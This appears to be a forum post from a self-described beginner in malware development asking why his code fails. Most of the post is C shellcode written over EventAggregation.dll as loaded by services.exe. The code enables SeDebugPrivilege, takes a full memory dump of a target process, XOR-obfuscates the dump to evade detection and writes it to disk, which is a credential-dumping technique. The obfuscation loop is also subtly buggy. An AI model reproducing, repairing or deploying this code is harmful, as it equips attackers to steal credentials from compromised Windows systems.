I am using MiniDumpWriteDump callbacks to read the dump into memory and encrypt it before storing to a file. It is being executed as a part of shellcode that is being written over EventAggregation.dll which is loaded by services.exe. After running MiniDumpWriteDump the subsequent lines of code do not run (I tested to make sure using abort() ). Is there something I am missing in this. I am just a beginner in malware development.
#define _CRT_SECURE_NO_WARNINGS
#include <phnt_windows.h>
#include <phnt.h>
#include <DbgHelp.h>
#include <intrin.h>
#include <stdio.h>
#include "DumpShellcode.h"
#pragma optimize("", off)
PSHELLCODE_PARAMS GetParams();
// Overwrites DllMain (technically CRT DllMain)
BOOL APIENTRY Shellcode(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
PSHELLCODE_PARAMS pParams = NULL;
MiniDumpWriteDump_t pMiniDumpWriteDump = NULL;
HANDLE hProcess = NULL;
HANDLE hFile = NULL;
HMODULE hDbgHelp = NULL;
DWORD ignored = 0;
CallbackHelper helper;
helper.bytesRead = 0;
MINIDUMP_CALLBACK_INFORMATION callbackInfo = { 0 };
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = &helper;
pParams = GetParams();
// Resolve remaining import
hDbgHelp = pParams->pLoadLibraryW(pParams->szDbgHelpDll);
if (NULL == hDbgHelp)
{
__debugbreak();
}
pMiniDumpWriteDump = (MiniDumpWriteDump_t)pParams->pGetProcAddress(hDbgHelp, pParams->szMiniDumpWriteDump);
if (NULL == pMiniDumpWriteDump)
{
__debugbreak();
}
// Enable SeDebugPrivilege
if (0 != pParams->pRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &ignored))
{
__debugbreak();
}
// Acquire handle to target
hProcess = pParams->pOpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pParams->dwTargetProcessId);
if (NULL == hProcess)
{
__debugbreak();
}
// Create output file
hFile = pParams->pCreateFileW(pParams->dumpPath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
__debugbreak();
}
helper.dumpBuffer = pParams->pHeapAlloc(pParams->pGetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
if (helper.dumpBuffer == NULL)
{
__debugbreak();
}
// Capture dump
if (!pMiniDumpWriteDump(hProcess, 0, 0, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo))
{
__debugbreak();
}
int i;
for (i = 0; i <= helper.bytesRead; i++)
{
*((BYTE*)helper.dumpBuffer + i) = *((BYTE*)helper.dumpBuffer + i) ^ 0x4B1D;
}
if (!pParams->pWriteFile(hFile, helper.dumpBuffer, helper.bytesRead, NULL, NULL))
{
pParams->pCloseHandle(hFile);
__debugbreak();
}
pParams->pCloseHandle(hFile);
pParams->pHeapFree(pParams->pGetProcessHeap(), 0, helper.dumpBuffer);
helper.dumpBuffer = NULL;
// Don't trigger WER
(void)pParams->pTerminateProcess((HANDLE)-1, 0);
return TRUE;
}
PVOID WhereAmI()
{
return _ReturnAddress();
}
PSHELLCODE_PARAMS GetParams()
{
PUCHAR pSearch = (PUCHAR)WhereAmI();
for (;;pSearch++)
{
PSHELLCODE_PARAMS pCandidate = (PSHELLCODE_PARAMS)pSearch;
if ((MAGIC1 == pCandidate->magic1) && (MAGIC2 == pCandidate->magic2))
{
return pCandidate;
}
}
return NULL;
}
BOOL CALLBACK minidumpCallback(
PVOID callbackParam,
const PMINIDUMP_CALLBACK_INPUT callbackInput,
PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
pCallbackHelper helper = (pCallbackHelper)callbackParam;
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
source = callbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)helper->dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
bufferSize = callbackInput->Io.BufferBytes;
helper->bytesRead += bufferSize;
memcpy((destination), (source), (bufferSize));
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return TRUE;
}
return TRUE;
}
BOOL EndShellcode()
{
return TRUE;
}
Upon executing it, I expected the encrypted dump to be written into the target file, when in fact, the size of the target file was zero bytes.